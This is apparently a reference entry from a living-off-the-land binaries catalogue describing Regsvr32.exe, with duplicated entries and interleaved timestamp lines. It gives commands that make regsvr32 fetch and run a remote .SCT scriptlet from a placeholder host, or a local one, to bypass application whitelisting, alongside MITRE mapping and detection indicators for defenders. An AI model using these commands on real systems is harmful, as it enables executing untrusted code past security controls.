2018-06-09 00:15:06 +02:00
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Name: Regsvr32.exe
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2018-09-24 21:59:43 +02:00
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Description: Used by Windows to register dlls
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Author: 'Oddvar Moe'
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2018-06-09 00:15:06 +02:00
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Created: '2018-05-25'
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Commands:
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- Command: regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
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Description: Execute the specified remote .SCT script with scrobj.dll.
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2018-09-24 21:59:43 +02:00
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Usecase: Execute code from remote scriptlet, bypass Application whitelisting
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Category: AWL bypass
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Privileges: User
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MitreID: T1117
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MitreLink: https://attack.mitre.org/wiki/Technique/T1117
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: regsvr32.exe /s /u /i:file.sct scrobj.dll
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2018-06-09 00:15:06 +02:00
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Description: Execute the specified local .SCT script with scrobj.dll.
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2018-09-24 21:59:43 +02:00
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Usecase: Execute code from scriptlet, bypass Application whitelisting
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Category: AWL bypass
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Privileges: User
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MitreID: T1117
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MitreLink: https://attack.mitre.org/wiki/Technique/T1117
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
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Description: Execute the specified remote .SCT script with scrobj.dll.
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Usecase: Execute code from remote scriptlet, bypass Application whitelisting
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Category: Execute
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Privileges: User
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MitreID: T1117
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MitreLink: https://attack.mitre.org/wiki/Technique/T1117
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: regsvr32.exe /s /u /i:file.sct scrobj.dll
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Description: Execute the specified local .SCT script with scrobj.dll.
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Usecase: Execute code from scriptlet, bypass Application whitelisting
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Category: Execute
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Privileges: User
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MitreID: T1117
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MitreLink: https://attack.mitre.org/wiki/Technique/T1117
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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2018-06-09 00:15:06 +02:00
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Full Path:
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2018-09-24 21:59:43 +02:00
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- Path: C:\Windows\System32\regsvr32.exe
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- Path: C:\Windows\SysWOW64\regsvr32.exe
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Code Sample:
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- Code:
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Detection:
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- IOC: regsvr32.exe getting files from Internet
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- IOC: regsvr32.exe executing scriptlet files
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2018-06-09 00:15:06 +02:00
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Resources:
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2018-09-24 21:59:43 +02:00
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- Link: https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/
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- Link: https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
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- Link: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1117/T1117.md
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Acknowledgement:
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- Person: Casey Smith
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Handle: '@subtee'
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---
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